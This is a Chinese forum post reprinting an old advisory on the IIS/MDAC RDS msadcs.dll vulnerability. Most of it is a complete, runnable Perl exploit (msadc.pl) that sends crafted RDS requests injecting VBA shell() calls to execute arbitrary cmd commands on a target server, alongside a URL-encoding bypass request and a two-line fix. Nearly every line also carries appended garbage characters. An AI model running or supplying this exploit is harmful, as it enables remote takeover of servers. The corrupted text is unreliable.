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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 0LHiOav  
8O.:3%D~ t  
涉及程序: 32-3C6f@oZ  
Microsoft NT server bKt3x+x(  
vVAZSR#  
描述: xeP;"J}  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 u>Axq3F  
-B3w RAEt  
详细: *p#YK|  
如果你没有时间读详细内容的话,就删除: XvzV lKL  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ?/l}(t$H  
有关的安全问题就没有了。 iz  GaV[  
<rwOI.W l$  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ;5oH6{7_Z  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 0JZq:hUd  
关于利用ODBC远程漏洞的描述,请参看: W-]yKSob  
|E_+*1lq.  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r/q1&*T  
T`'3Cp$q  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 d$?n6|4  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,f /IG.  
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这里不再论述。 )oxP.K8q)U  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: / =Uv  
"$:y03V  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset /?dQUu ^z  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! RY/ Z~]  
A Fm*60C  
BE2\?q-  
#将下面这段保存为txt文件,然后: "perl -x 文件名" y1"^S  
0&rH 9  
#!perl VGDEP!)-8  
# z5*O@_r+.b  
# MSADC/RDS 'usage' (aka exploit) script D16;6K'{  
# e~ 78'UH  
# by rain.forest.puppy \$HB~u%dr  
# !{~7)iq  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me l& ^B   
# beta test and find errors! @n;YF5  
1d@^,7MF-  
use Socket; use Getopt::Std; J>|:T  
getopts("e:vd:h:XR", \%args); %k;FxUKi  
yY g&'3  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; K[|P6J   
`SS~=~WY  
if (!defined $args{h} && !defined $args{R}) { I{g2q B$6  
print qq~ NW>:Lz ?"  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 08jUVHdt  
-h <host> = host you want to scan (ip or domain) K{w=qJBM  
-d <seconds> = delay between calls, default 1 second k;:u| s8NS  
-X = dump Index Server path table, if available 36Z`.E>~L  
-v = verbose ^nm!NL{z^  
-e = external dictionary file for step 5 x#gmliF  
AO7qs:+  
Or a -R will resume a command session cSs/XJZ  
S~(VcC$K  
~; exit;} -JO46 #m  
o(SJuZC/U  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Z-p^3t'{  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &$z1Hz+l  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} a3 _0F@I  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); g$T_yT''  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} >93{=+  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ZE(RvPW  
Sl<-)a:  
if (!defined $args{R}){ $ret = &has_msadc; NCM{OAjS5U  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} !zJ67-G  
];}|h|q/{}  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" /sC[5G%  
. "cmd /c "; v*]Xur6e}  
$in=<STDIN>; chomp $in; Joo)GIB  
$command="cmd /c " . $in ; <C`eZ}Qqv  
r|F,\fF  
if (defined $args{R}) {&load; exit;} <@j  
Uus)2R7  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; %Kfa|&'zV  
&try_btcustmr; _C8LK.M#j  
<fxjj  
print "\nStep 2: Trying to make our own DSN..."; adE0oXQH"  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; -Jrc'e4K  
`V_/Cz_}D  
print "\nStep 3: Trying known DSNs..."; 3Co>3d_  
&known_dsn; Cwa0!y5%  
^t%M   
print "\nStep 4: Trying known .mdbs..."; i@j ?<  
&known_mdb; <:7e4#  
;3}b&Z[N]  
if (defined $args{e}){ d@4=XSj  
print "\nStep 5: Trying dictionary of DSN names..."; Fl>j5[kLZ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,F9wc<V8  
p[VCt" j  
print "Sorry Charley...maybe next time?\n"; EGr5xR-  
exit; k+G4<qw  
ZU@jtqq  
############################################################################## ~9;mZi1-  
*7V{yK$O|  
sub sendraw { # ripped and modded from whisker {Om3fSk:  
sleep($delay); # it's a DoS on the server! At least on mine... ^g){)rz|  
my ($pstr)=@_; p;Ok.cXVp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0 S8{VZpy  
die("Socket problems\n");  !3M!p&  
if(connect(S,pack "SnA4x8",2,80,$target)){ 95&sFT C  
select(S); $|=1; J 2~B<=V  
print $pstr; my @in=<S>; l+X^x%EA  
select(STDOUT); close(S); Sh6 NgO  
return @in; a#Gq J?nY  
} else { die("Can't connect...\n"); }} Z$K%@q,10+  
"Ksd9,J\b  
############################################################################## ! m5\w>  
`CouP-g.  
sub make_header { # make the HTTP request 9>, \QrrH  
my $msadc=<<EOT pnb$lpxt  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 FsZEB/c  
User-Agent: ACTIVEDATA sh3}0u+  
Host: $ip Ec/+9H6g  
Content-Length: $clen BU\NBvX$  
Connection: Keep-Alive JkEQ@x  
-;.fU44O[#  
ADCClientVersion:01.06 }(O kl1  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 $4) g uG)  
m,fr?d/;  
--!ADM!ROX!YOUR!WORLD! Qnc S&  
Content-Type: application/x-varg E0Xu9IW/A  
Content-Length: $reqlen L| qY  
ArKrsI#H-  
EOT zMg^2{0L  
; $msadc=~s/\n/\r\n/g; ~2 ;y4%K  
return $msadc;} = $Yk8,  
;b2>y>?[  
############################################################################## &1n0(qB  
Ek\Zi#f<  
sub make_req { # make the RDS request ViONG]F  
my ($switch, $p1, $p2)=@_; ;yoq/  
my $req=""; my $t1, $t2, $query, $dsn; r2`?Ta  
aq**w?l  
if ($switch==1){ # this is the btcustmr.mdb query TK1M mL  
$query="Select * from Customers where City=" . make_shell(); 5Z0x2 jV  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . w8zQDPVB%  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} N.J:Qn`(  
EE{%hGb  
elsif ($switch==2){ # this is general make table query sA j$U^Gp  
$query="create table AZZ (B int, C varchar(10))"; 1x 8]&  
$dsn="$p1";} :udZfA\sW  
a[#BlH  
elsif ($switch==3){ # this is general exploit table query tjL#?j  
$query="select * from AZZ where C=" . make_shell(); wQ95tN  
$dsn="$p1";} yZ6X$I:C  
bJvRQrj*3  
elsif ($switch==4){ # attempt to hork file info from index server cZi&L p  
$query="select path from scope()"; artS*fv3r  
$dsn="Provider=MSIDXS;";} <m\TZQBD  
DvKMb-*S  
elsif ($switch==5){ # bad query C u5 - w  
$query="select"; 7k3\_BHyb\  
$dsn="$p1";} ";%1sK  
$x<-PN  
$t1= make_unicode($query); {GY$J<5=  
$t2= make_unicode($dsn); RAa1KOxZX  
$req = "\x02\x00\x03\x00"; ;!Mg,jlQ  
$req.= "\x08\x00" . pack ("S1", length($t1)); ttxOP  
$req.= "\x00\x00" . $t1 ; hTqJDP"&F  
$req.= "\x08\x00" . pack ("S1", length($t2)); +%^xz 1m  
$req.= "\x00\x00" . $t2 ; svII =JB  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Xp@OIn  
return $req;} .- o,_eg1f  
p_5+L@%Gb  
############################################################################## q9Wtu7/  
tp0*W _<4  
sub make_shell { # this makes the shell() statement =Ih_[$1dw  
return "'|shell(\"$command\")|'";} oWT0WS  
GR9F^Y)K{  
############################################################################## 0_)\e  
NIGFu{S  
sub make_unicode { # quick little function to convert to unicode Q0A1N[  
my ($in)=@_; my $out; (yVI<Os{a  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } dv: &N  
return $out;} jk?(W2c#{  
<aS1bQgaU  
############################################################################## o qTh )  
q2Dg~et  
sub rdo_success { # checks for RDO return success (this is kludge) GH!#"Sl8Z  
my (@in) = @_; my $base=content_start(@in); -. G0k*[d  
if($in[$base]=~/multipart\/mixed/){ (["u"m%  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} uhLW/?q.  
return 0;} ?J AzN  
9w|q':<  
############################################################################## 3H2'HO  
NiF*h~ q  
sub make_dsn { # this makes a DSN for us n ~)%ou  
my @drives=("c","d","e","f"); (TsgVq]L  
print "\nMaking DSN: "; -8: @xG2  
foreach $drive (@drives) { 7KLq-u-8  
print "$drive: "; 5VS<I\o}  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . R8]bi|e)  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ^YV[1~O  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ]y/:#^M+  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; %r!-*p<i|  
return 0 if $2 eq "404"; # not found/doesn't exist RdjUw#\33b  
if($2 eq "200") { ) eV]M~K:  
foreach $line (@results) { jA'+>`@  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} sP#5l @  
} return 0;} *HUqW}_r  
B:SRHd{*Wu  
############################################################################## *&km5@*  
Sr0mA M  
sub verify_exists { Smo'&x  
my ($page)=@_; Spb'jAKj'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); #';r 0?|  
return $results[0];} Tbw8#[6AX  
\ U_DTI  
############################################################################## 3FfS+q*3S  
\hVFK6  
sub try_btcustmr { 9hQ{r 2  
my @drives=("c","d","e","f"); -vQ`}e1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); m"5gzH  
+VDB\n   
foreach $dir (@dirs) { 8dNJZoV  
print "$dir -> "; # fun status so you can see progress |gNOv;l  
foreach $drive (@drives) { `CBTZG09  
print "$drive: "; # ditto }T@AoIR0t  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; >2r/d  
$reqlenlen=length( "$reqlen" ); gvX7+F=}B  
$clen= 206 + $reqlenlen + $reqlen; 60m1 >"  
n/-I7Q!;u  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Tu"](|I>   
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} YZd4% zF  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} x1Uj4*Au  
Zv_<*uzKZ  
############################################################################## x$t=6@<]  
o5d)v)Rx=  
sub odbc_error { 9 (Z)c  
my (@in)=@_; my $base; QGa"HG5NF  
my $base = content_start(@in); -3C~}~$>`  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this . Hw^Nx  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -Cl0!}P4I  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !q?}[E2  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _[V 6s#Wk3  
return $in[$base+4].$in[$base+5].$in[$base+6];} mi+I)b=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; sSxra!tv4  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . xE:p)B-]  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} *Co+UJjT  
-c. a7  
############################################################################## `%VrT`  
6mZFsB  
sub verbose { NB[b[1 Ch  
my ($in)=@_; EJZ2V>\_-0  
return if !$verbose; Ec|#i  
print STDOUT "\n$in\n";} S; >_9  
IcN|e4t^J+  
############################################################################## N 6eY-`4y  
2gi`^%#k]  
sub save { }6\p7n  
my ($p1, $p2, $p3, $p4)=@_; 3Dy.mtP  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 5,A/6b  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 4r %NtXAa  
close OUT;} @d)6LA9Ec  
K-/fq=z  
############################################################################## MQ01!Y[q_7  
/Bc ;)~  
sub load { h c "n?  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; S;= D/)[mr  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); D`+'#%%x  
@p=<IN>; close(IN); 8"? t6Z;5  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 7@:uVowQ  
$target= inet_aton($ip) || die("inet_aton problems"); 0 I,-1o|s  
print "Resuming to $ip ..."; %NKf@If)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Q~`n%uYg\{  
if($p[1]==1) { $?7}4u,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; FXIQS'  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ^ `!6Yax?  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 5 gE  
if (rdo_success(@results)){print "Success!\n";} oY &r76  
else { print "failed\n"; verbose(odbc_error(@results));}} AV?*r-vWL.  
elsif ($p[1]==3){ \JX8`]|&  
if(run_query("$p[3]")){ PR6{Y]e%  
print "Success!\n";} else { print "failed\n"; }} {min9  
elsif ($p[1]==4){ N( Cfv3{  
if(run_query($drvst . "$p[3]")){ (URWi caB  
print "Success!\n"; } else { print "failed\n"; }} ]cbY@U3!2  
exit;} qT(j%F  
t6j|q nfw  
############################################################################## -*3wNGh {  
9R!.U\sq  
sub create_table { WVKzh  
my ($in)=@_; Pr" 2d\  
$reqlen=length( make_req(2,$in,"") ) - 28; B?k75G  
$reqlenlen=length( "$reqlen" ); \ ^_3Yw  
$clen= 206 + $reqlenlen + $reqlen; YS &3+Tp  
my @results=sendraw(make_header() . make_req(2,$in,"")); 74>.E^ /x  
return 1 if rdo_success(@results);  'y1=Z  
my $temp= odbc_error(@results); verbose($temp); 0^4Tem@  
return 1 if $temp=~/Table 'AZZ' already exists/; r@ ]{`qA  
return 0;} A+AqlM+$i  
94A re<  
############################################################################## U:p<pTnMR  
TRa|}JaI"  
sub known_dsn { B#8!8  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go qWdL|8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", mI-$4st]  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", \ qKh9  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); /K1YDq<=  
v. !L:1@I.  
foreach $dSn (@dsns) { H_Vf _p?  
print "."; v#F .FK  
next if (!is_access("DSN=$dSn")); XK>B mq/]  
if(create_table("DSN=$dSn")){ 4~DoqT  
print "$dSn successful\n"; N|wI=To  
if(run_query("DSN=$dSn")){ %kUIIH V}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 074)(X&:x  
print "Something's borked. Use verbose next time\n";}}} print "\n";} =*fOej>G  
V|Smk;G  
############################################################################## oJEind>8O  
JS} iNS'X  
sub is_access { D >$9(  
my ($in)=@_; jCkYzQUPz  
$reqlen=length( make_req(5,$in,"") ) - 28; aVEg%8  
$reqlenlen=length( "$reqlen" ); ;BsyN[bF  
$clen= 206 + $reqlenlen + $reqlen; }Til $TT%H  
my @results=sendraw(make_header() . make_req(5,$in,"")); x^&D8&4^  
my $temp= odbc_error(@results); ; &$djP  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); rz5AIe>Hm  
return 0;} Cjdw@v0;  
7xqTTN6h  
############################################################################## a%cCR=s=  
=XuBan3B>  
sub run_query { um~U_&>  
my ($in)=@_; T|[zk.8=E  
$reqlen=length( make_req(3,$in,"") ) - 28; %8s$l'Q;  
$reqlenlen=length( "$reqlen" ); <;G.(CK@n  
$clen= 206 + $reqlenlen + $reqlen; [5yLg  
my @results=sendraw(make_header() . make_req(3,$in,"")); w,n&K6<  
return 1 if rdo_success(@results); edD19A  
my $temp= odbc_error(@results); verbose($temp); bkTk:-L5:  
return 0;} iLD}>=  
[_q3 02  
############################################################################## ,ir(~g+{g  
eT0Yp  
sub known_mdb { c"~ +Y2]tL  
my @drives=("c","d","e","f","g"); J4EQhuQ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Bu$Z+o  
my $dir, $drive, $mdb; S}WQ~e  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; jInI%  
yz.a Z  
# this is sparse, because I don't know of many 8R0Q-,'  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Z jLuqo  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 0ZcvpR?G  
"\\system32\\certmdb.mdb", [z=KHk  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ap,%)on^  
:(ni/,~Q  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", SHWD@WLE4  
"\\cfusion\\cfapps\\forums\\forums_.mdb", +es|0;Z4yP  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 9}G.Fr  
"\\cfusion\\cfapps\\security\\realm_.mdb", AUBZ7*VO  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", j S~W cu  
"\\cfusion\\database\\cfexamples.mdb", DC+ p s  
"\\cfusion\\database\\cfsnippets.mdb", @'P\c   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", -y]e`\+[  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 2"~|k_  
"\\cfusion\\brighttiger\\database\\cleam.mdb", VEFUj&t;xW  
"\\cfusion\\database\\smpolicy.mdb", O(pa;&"  
"\\cfusion\\database\cypress.mdb", m%7T ~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", oy{ {d  
"\\website\\cgi-win\\dbsample.mdb", (@X].oM^y  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", TuR.'kE@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 4TX~]tEyky  
); #these are just Ts)ox}rYVm  
foreach $drive (@drives) { DNwqi"  
foreach $dir (@dirs){ [ 'aSPA  
foreach $mdb (@sysmdbs) { `?P)RS30  
print "."; pQ2'0u5w5  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ n;QMiz:yY  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; S3fyt]pp  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ O S?S$y  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 'z\$.L  
} else { print "Something's borked. Use verbose next time\n"; }}}}} V[#eeH)/  
/N=;3yWF  
foreach $drive (@drives) { 3Q;XvrGA  
foreach $mdb (@mdbs) { :$ qa  
print "."; +s$` kl  
if(create_table($drv . $drive . $dir . $mdb)){ G)cEUEf d  
print "\n" . $drive . $dir . $mdb . " successful\n"; wB%N}bi!  
if(run_query($drv . $drive . $dir . $mdb)){ d x52[W  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; +t[i68,%  
} else { print "Something's borked. Use verbose next time\n"; }}}} ?azi(ja  
} `!- w^~c  
V\|V1c  
############################################################################## $Jc>B#1  
h=*eOxR"4^  
sub hork_idx { ^&8FwV]  
print "\nAttempting to dump Index Server tables...\n"; >tGl7Ov  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 7:Cq[u fl  
$reqlen=length( make_req(4,"","") ) - 28; Le,e,#hiY  
$reqlenlen=length( "$reqlen" ); 6Z ,GD  
$clen= 206 + $reqlenlen + $reqlen; ?R#?=<VkG  
my @results=sendraw2(make_header() . make_req(4,"","")); 3+~m9:9  
if (rdo_success(@results)){ L>@:Xo@  
my $max=@results; my $c; my %d; Fx!NRY_  
for($c=19; $c<$max; $c++){ g._`"c  
$results[$c]=~s/\x00//g; &[#iM0;)W0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; lD+f{GR  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ]'q"Kw/10  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Fm-D>PR  
$d{"$1$2"}="";} p#A{.6Pa:  
foreach $c (keys %d){ print "$c\n"; } OUM^ u*  
} else {print "Index server doesn't seem to be installed.\n"; }} %Bxp !Bj  
J!+)v  
############################################################################## 'cgB$:T}.,  
YZ\a#s ,0  
sub dsn_dict { 4;;K1< 1  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); P[q 'Y^\  
while(<IN>){ 3OZu v};k  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _-6IB>  
next if (!is_access("DSN=$dSn")); 5yl[#>qt  
if(create_table("DSN=$dSn")){ I_"Kh BM  
print "$dSn successful\n"; 8slOB>2#Y  
if(run_query("DSN=$dSn")){ xQKRUHDc  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -mfdngp3  
print "Something's borked. Use verbose next time\n";}}} f?Am)  
print "\n"; close(IN);} -5X*y4#  
a]]>(Txc  
############################################################################## myq:~^L ;  
_]aA58,j  
sub sendraw2 { # ripped and modded from whisker AhA4IOG`.  
sleep($delay); # it's a DoS on the server! At least on mine... hH.X_X?d%  
my ($pstr)=@_; D #Ku5~j  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ew,1*WK!  
die("Socket problems\n"); 6C@W6DR3N  
if(connect(S,pack "SnA4x8",2,80,$target)){ ca6kqh"  
print "Connected. Getting data"; 0pW?v:!H  
open(OUT,">raw.out"); my @in; HzdyfZ!jR  
select(S); $|=1; print $pstr; qvHRP@  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Bj1{=Pvl  
close(OUT); select(STDOUT); close(S); return @in; h+d  \u  
} else { die("Can't connect...\n"); }} 1&2X*$]y  
;)7GdR^K  
############################################################################## ~tM+!  
UB8TrYra  
sub content_start { # this will take in the server headers hW Va4  
my (@in)=@_; my $c; t^')ST  
for ($c=1;$c<500;$c++) { !Zi_4 .(4  
if($in[$c] =~/^\x0d\x0a/){ Z]^Ooy[pb  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } <$+Cd=71\  
else { return $c+1; }}} ,GVD.whUl  
return -1;} # it should never get here actually _(zPA4q8q  
QA"mWw-Ds  
############################################################################## $-#|g  
$C^tZFq  
sub funky { oU[>.Igi  
my (@in)=@_; my $error=odbc_error(@in); 7#pu(:T$  
if($error=~/ADO could not find the specified provider/){ e6y,)W"WW2  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; &:@)ro CR  
exit;} &l-1.muQ  
if($error=~/A Handler is required/){ >0c4C< _  
print "\nServer has custom handler filters (they most likely are patched)\n"; @b]?Gg  
exit;} 9vL n#_  
if($error=~/specified Handler has denied Access/){ z]d2 rzV(_  
print "\nServer has custom handler filters (they most likely are patched)\n"; Nk ~"f5q7  
exit;}} +3wVcL  
6jaol'{SuH  
############################################################################## Uja`{uc  
lKT<aYX  
sub has_msadc { x sN)a!  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 9*b(\Z)N  
my $base=content_start(@results); p*ic@n*G  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); rAwuWM@BIg  
return 0;} :GBM`f@  
m]"13E0*x  
######################## }j\_XaB  
y} W-OLE  
jwQ(E  
解决方案: sc)}r_|g  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll GB&^<@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 dd6m/3uUW  
umJ!j&(  
拿出来充数 哈哈
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